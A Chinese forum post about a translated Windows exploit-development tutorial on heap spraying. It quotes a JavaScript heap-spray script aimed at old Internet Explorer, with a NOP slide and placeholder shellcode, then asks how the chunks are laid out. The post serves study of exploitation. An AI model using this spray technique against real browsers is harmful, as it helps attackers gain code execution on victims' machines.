[翻译]Windows Exploit开发系列教程第八部分:堆喷射第一节[覆写EIP]
楼主,在“喷射shellcode块”的以下这部分里,有点疑问
“
下面是最终的堆喷射脚本(公开的漏洞利用脚本), 在所有IE7以下的版本测试结果一致.
代码:
<html>
<body>
<script language='javascript'>
var Shellcode = unescape(
'畆空卹'+ // ASCII
'捥牵瑩'+ // FuzzySecurity
'遹'); //
var NopSlide = unescape('邐邐');
var headersize = 20;
var slack = headersize + Shellcode.length;
while (NopSlide.length < slack) NopSlide += NopSlide;
var filler = NopSlide.substring(0,slack);
var chunk = NopSlide.substring(0,NopSlide.length - slack);
while (chunk.length + slack < 0x40000) chunk = chunk + chunk + filler;
var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = chunk + Shellcode }
alert("allocation done");
</script>
</body>
</html>
这个脚本喷射更大的内存块 0x4000(=262144字节=0.25mb), 重复喷喷射500次(=125mb). 考虑到我们的shellcode不太会大于1000字节, 这意味着我们有99.997%的概率命中NOP’s. 这样使得堆喷射更稳定. 让我们在Windbg观察堆喷射:
”
以上这部分有点疑
1.申请125mb(就是和这里申请500次后同样大小的内存),里面就只在最后放一次shellcode,前面的全部是0x90,这样可不可以呢?像文章中这样布局有什么好处呢?
2.在这500次喷射中,在以上我提出的部分中,布局能否改为0x90+shellcode,就是每次喷射的内存块中,最后部分是shellcode,前面就只用0x90,而不像以上部分这样来布局(实际上我看不明白这样布局的意义),这样可不可以呢?
3.关于提到的0x06060606,0x07070707这样的地址,有什么特殊意义吗?